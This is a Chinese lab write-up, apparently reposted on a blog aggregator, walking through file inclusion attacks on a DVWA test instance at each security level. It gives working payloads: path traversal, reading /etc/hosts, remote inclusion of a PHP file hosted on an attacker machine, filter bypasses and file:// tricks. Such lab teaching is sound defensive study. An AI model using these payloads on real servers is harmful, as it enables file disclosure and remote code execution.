dvwa中的文件包含攻击

news2024/11/16 4:11:22

环境:

dvwa: 192.168.11.135 dvwa版本: Version 1.9 (Release date: 2015-09-19)

kail机器:192.168.11.156

一、什么是文件包含漏洞?

为简化代码,会把重复的code内容单独写到一个页面文件,然后再需要调用重复内容的页面中使用include方法来包含重复代码的页面就可以了。

使用include方法可以让当前页面去执行指定的另外一个文件中的代码内容。若没有对这种行为做限制,那么黑客将很有可能让当前页面去执行超出 Web 目录中的文件或者是 Web 目录中不希望被执行的敏感文件,甚至是远程服务器上的文件。比如黑客使用 include 方法去调用 Linux 系统中的 /etc/passwd,就会在当前页面中显示系统中的用户信息;或者黑客自己搭建 Web 服务器,在自己的服务器上写一个 Webshell,然后通过 include 方法在目标页面中执行本地服务器中的 Webshell。

几乎所有的脚本语言中都提供文件包含的功能,但文件包含漏洞在php中居多,而在jsp\ASP\ASP.NETC程序中非常少,甚至没有文件包含漏洞的存在。

原理服务器解析执行php文件时能通过包含函数加载另外一个文件中的php代码,当被包含的文件中存在木马时,木马程序会在服务器上加载执行。

下面介绍php的四种文件包含函数

require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本
require_once():功能与require()相同区别在于当重复调用一个文件时,程序只调用一次
include():执行到include()函数时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行
include_once():功能和include()相同,区别当重复调用一个文件时,程序只调用一次
nighcight_file(),show_source()函数对文件进行语法高亮显示,通常能看到源代码
readfile(),file_get_contents()函数读取一个文件,并写入输出缓冲
fopen(),打开一个文件或者url

文件包含漏洞包括本地文件包含漏洞和远程文件包含漏洞:

  • 本地文件包含漏洞指的是包含本地的php文件;

  • 远程文件包含漏洞包含的是其它服务器上的php文件。需要满足两个条件在php.ini中。当php.ini中的配置选项allow_url_fopen:on allow_url_include:on,对方开启这两个配置时才可以使用

dvwa: 192.168.11.135 环境开启了:

二、演示dvwa上的文件包含漏洞

2.1、low级别

源码

1、安全级别设置为Low,点击 File Inclusion 按钮,进入文件包含攻击页面。页面中有 3 个文件链接:

点击后会读取出系统的相关信息,说明这 3 个文件内含有读取相关系统信息的脚本代码,被包含进当前页面执行了。

当前的 URL 显示了 http://192.168.11.135:81/vulnerabilities/fi/?page=后就是被包含的文件名 file3.php。

2、考虑到我们当前 Web 服务器(dvwa)是使用的 docker容器(Linux),把 URL 中的文件名替换为 /etc/hosts,发现可以通过绝对路径直接显示 hosts 文件中的内容:

3、使用相对路径 ../../phpinfo.php 来替换 URL 中的包含文件名,可以执行 DVWA 程序自带的 phpinfo 信息。当前目录是vulnerabilities/fi/,向上返回2层,就到了 /,所以 ../../phpinfo.php就是指 /phpinfo.php 这个文件

4、在kali攻击机上自行搭建一个 Web 服务(sudo service apache2 start),在 Web 根目录/var/www/html下写入一个 shell.php 文件(内容:<?php phpinfo();?>),用来显示 PHPINFO:

使用http://192.168.11.156/shell.php来替换原 URL 中包含的文件名,可以远程执行 PHP 脚本

2.2、medium级别

1、安全级别设置为 Medium,进入文件包含攻击页面,查看源码:

发现使用 str_replace() 函数把 http://、https://、../、..\ 替换为了空值,来防止远程文件包含和相对路径的文件包含。但是str_replace() 函数相当不安全,只做一次替换,比如在 http:// 中再嵌套一个 http:// 则可以绕过限制;另外,并没有对绝对路径的文件包含进行防护。

2、绝对路径与相对路径的文件包含攻击

使用绝对路径 /etc/hosts 的文件包含,不受任何影响:

使用相对路径 ../../phpinfo.php 进行文件包含不被允许:

使用相对路径进行文件包含不被允许,但可以通过在../中多嵌套一个../绕过,在 URL 中输入包含的文件名为..././..././phpinfo.php,可以成功执行:

3、使用远程文件包含,需要在 http:// 中多嵌套一个 http://,在 URL 中输入包含的文件名为htthttp://p://192.168.11.156/shell.php,可以成功执行:

2.3、High级别

1、安全级别设置为 High,进入文件包含攻击页面,查看源码:

发现使用 fnmatch() 函数来检查变量 page 值的开头必须是 file或者file是include.php文件,否则就不执行。

2、可以利用 file 协议来绕过防御。使用 file 协议可以来描述一个文件的绝对路径。我们这里在 URL 中输入包含的文件名为file:///etc/hosts,可以成功输出文件内容

2.4、Impossible级别

1、安全级别设置为 Impossible,进入文件包含攻击页面,查看源码:

发现使用了白名单机制,提交的 page 变量只能是include.php、file1.php,file2.php,file3.php这四个文件,否则就不执行,彻底杜绝了文件包含漏洞。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/160877.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C语言:初识C语言

目录前言1. 什么是c语言呢2. 第一个c语言程序2. 数据类型3. 变量和常量3.1 变量3.1.1 变量的定义3.1.2 变量的分类3.1.3 变量的使用3.1.4 变量的作用域和生命周期3.2 常量4. 字符串、转义字符、注释4.1 字符串4.2 转义字符4.3 注释5. 选择语句6. 循环语句7. 函数8. 数组9. 操作…

学习笔记——keep-alive缓存组件,再次返回组件data数据重置

前言&#xff1a;使用keep-alive缓存组件&#xff0c;当再次返回该组件后&#xff0c;希望其组件中的数据或状态&#xff0c;保持上次离开该组件时的情况。 一、当前组件树 希望缓存HomeMain组件的状态。 二、错误处理 我在HomeMain的祖先组件HomeLayout中&#xff0c;写了如下…

sqlplus 连接数据库

终端直连 Oracle 数据库 ORA-12162 错误 出于各种网络原因&#xff0c;无法直连数据库&#xff0c;但又必须查询数据库数据 我们只能选择直连数据库的服务器 然后通过 sqlplus 连接 Oracle 从配置文件里获取这样一段信息 urljdbc:oracle:thin:192.168.1.3:1521:testdb use…

【SpringCloud08】SpringCloud Consul服务注册与发现

1.Consul简介 1.1是什么 官网 Consul 是一套开源的分布式服务发现和配置管理系统&#xff0c;由 HashiCorp 公司用Go 语言开发 提供了微服务系统中的服务治理、配置中心、控制总线等功能。这些功能中的每一个都可以根据需要单独使用&#xff0c;也可以一起使用以构建全方位…

基于MPLS-V**多分部互访的ensp企业网络规划与设计_ensp综合实验

作者&#xff1a;BSXY_19计科_陈永跃BSXY_信息学院注&#xff1a;未经允许禁止转发任何内容基于MPLS-V**多分部互访的ensp企业网络规划与设计_ensp综合实验前言及技术/资源下载说明&#xff08; **未经允许禁止转发任何内容** &#xff09;插曲&#xff1a;基于eNSP中大型校园/…

卡特加特数字中控主机,数字家庭控制中心!没它智能家居就是智障!

数字中控主机是数字家庭的核心&#xff0c;承担着“协调各方、总揽全局”的作用&#xff0c;是打造未来数字家庭空间必不可少的设备。区别于传统家居智能&#xff0c;它真正意义上告别了过去以设备为中心的架构&#xff0c;而是以人的个性化需求为中心&#xff0c;以数据作为资…

2020统考真题-距离最小三元组

2020年统考真题 定义三元组$ (a,b,c)$ &#xff08; a,b,c 均为正数&#xff09;的距离 D∣a−b∣∣b−c∣∣c−a∣D|a−b||b−c||c−a|D∣a−b∣∣b−c∣∣c−a∣ 。给定 3个非空整数集合 S1 、 S2 和 S3 &#xff0c;按升序分别存储在 3 个数组中。请设计一个尽可能高效的算…

蓝队攻击的四个阶段(三)

目录 一&#xff0c; 专业技能储备 1.工具开发技能 2.漏洞挖掘技能 3.代码调试技能 4.侦破拓展技能 二&#xff0c;目标网情搜集 1 何为网情搜集 2. 网情搜集的主要工作 三&#xff0c; 网情搜集的途径 1.专业网站 2.专业开发资源网站 3.目标官网 一&#xff0c; 专…

算法训练营 day17 二叉树 平衡二叉树 二叉树的所以路径 左叶子之和

算法训练营 day17 二叉树 平衡二叉树 二叉树的所以路径 左叶子之和 平衡二叉树 110. 平衡二叉树 - 力扣&#xff08;LeetCode&#xff09; 给定一个二叉树&#xff0c;判断它是否是高度平衡的二叉树。 本题中&#xff0c;一棵高度平衡二叉树定义为&#xff1a; 一个二叉树每…

osg fbo(五) 通过shader计算纹理坐标并采样

在前边几节&#xff0c;纹理坐标数组是在生成geometry前指定的。 这里在shader里计算&#xff0c; 一&#xff0c;注释掉geometry中的纹理坐标 //osg::ref_ptr<osg::Vec2Array> texCoord new osg::Vec2Array; //texCoord->push_back(osg::Vec2(0.0, 0.0)); //texCoo…

1.13UART串口实验

UART总线&#xff1a; 异步全双工串行总线。用于芯片与外设之间的通信 UART通信协议&#xff1a; 空闲状态处于高电平 起始位&#xff1a;串口通信的起始标志 数据位&#xff1a;传输数据时先从低位开始传输&#xff0c;再传输高位 奇偶校验位&#xff1a; 奇校验&#x…

MacOS 系统中如何使用EF Core进行数据迁移?

原有 笔者最近在使用MacOS系统做asp.net core mvc项目开发。可是一直习惯了使用宇宙最强大的vs2019工具。突然换到苹果系统就感觉什么都是问题了。现在我将遇到该问题的解决方案做下记录&#xff0c;方便自己也是方便别的同学快速的解决问题。 发现有坑 其实最开始我也是翻阅…

RocketMQ 存储优化技术 解析——图解、源码级解析

&#x1f34a; Java学习&#xff1a;Java从入门到精通总结 &#x1f34a; 深入浅出RocketMQ设计思想&#xff1a;深入浅出RocketMQ设计思想 &#x1f34a; 绝对不一样的职场干货&#xff1a;大厂最佳实践经验指南 &#x1f4c6; 最近更新&#xff1a;2023年1月13日 &#x…

Django 后端没有接收到前端anxios的 post 内容

前端使用 vue 无论怎样 post 后端都说没有接收到值&#xff0c;&#xff08;后端接口正确&#xff09; 寻找原因&#xff1a; 1、前端查看自己的请求类型 Content-Type:application/json 我们的请求是这样的&#xff1a; axios({method:post,url:/video/upload,data:{"…

RedHat6配置本地yum源(最新超详细过程)

一、环境准备 挂载iso的镜像文件在CD/DVD驱动器上&#xff0c;需要确保&#xff0c;已连接已打开&#xff0c;且CD/DVD上的介质符合当前操作系统的版本。 挂载本地光盘到系统 在“编辑设置”——>“硬件”——>“CD/DVD驱动器”里指定操作系统的ISO镜像文件 光驱挂载…

web性能测试:Lighthouse测试实践

一工具简介 Lighthouse是Google开源的一个自动化工具&#xff0c;它可以搜集多个Web网页性能指标&#xff0c;分析Web应用的性能并生成报告&#xff0c;为开发人员进行性能优化提供了参考方向。1工作原理•Driver&#xff08;驱动&#xff09;—— 通过 Chrome Debugging Proto…

力扣sql基础篇(六)

力扣sql基础篇(六) 1 学生参加各科测试的次数 1.1 题目内容 1.1.1 基本题目信息 1.1.2 示例输入输出 a 输入示例 b 输出示例 1.2 示例sql语句 # 无论考没考试都要该科目这栏且无连接字段,就可以考虑笛卡尔积了 SELECT s.student_id,s.student_name,s.subject_name,IFNULL…

【软件STM32cubeIDE下STM32F4xx使用DMA+定时器推PWM+灯带WS2812-进阶-综合汇总(讲解移植相关)】

2TOC &#xff08;1&#xff09;前言 做灯带ws2812其实有一段时间了&#xff0c;中间遇到很多问题&#xff0c;从开始的学习&#xff0c;到后来慢慢熟悉&#xff0c;再到后来尝试点很多灯带&#xff0c;做过非常多的实验了&#xff0c;自己新建工程&#xff0c;几乎尝试过很多…

【Git】GitHub 操作

6、GitHub 操作 GitHub 网址&#xff1a;https://github.com/ Ps:全球最大同性交友网站&#xff0c;技术宅男的天堂&#xff0c;新世界的大门&#xff0c;你还在等什么? 账号姓名验证邮箱atguiguyueyue岳不群atguiguyueyuealiyun.comatguigulinghuchong令狐冲atguigulinghu…

72、PaletteNeRF: Palette-based Appearance Editing of Neural Radiance Fields

简介 官网:https://palettenerf.github.io/ 以(a)多视图照片为训练输入&#xff0c;重建NeRF并将其外观分解为一组(b)基于3D调色板的色基&#xff0c;实现了©直观和逼真的场景重新着色&#xff0c;在任意视图之间具有3D一致性&#xff0c;如(d)所示&#xff0c;该方法支…